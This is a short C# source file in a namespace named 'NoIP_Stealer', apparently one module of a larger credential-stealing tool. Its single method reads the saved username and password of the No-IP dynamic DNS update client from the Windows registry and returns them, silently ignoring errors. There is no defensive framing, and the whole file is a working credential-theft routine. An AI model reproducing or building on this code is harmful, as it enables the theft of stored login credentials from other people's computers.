﻿using System;
using System.Collections.Generic;
using System.Text;
using Microsoft.Win32;

namespace NoIP_Stealer
{
    class NoIP
    {
        /// <summary>
        /// Reads login information.
        /// </summary>
        /// <returns>
        /// Returns Host, User and Pass.
        /// </returns>
        public static List<string[]> getPWs()
        {
            List<string[]> result = new List<string[]>();
            try
            {
                string user = Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", null).ToString();
                string pass = Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", null).ToString();
                result.Add(new string[] { "NoIP", "", user, pass });
            }
            catch (Exception) { }
            return result;
        }
    }
}
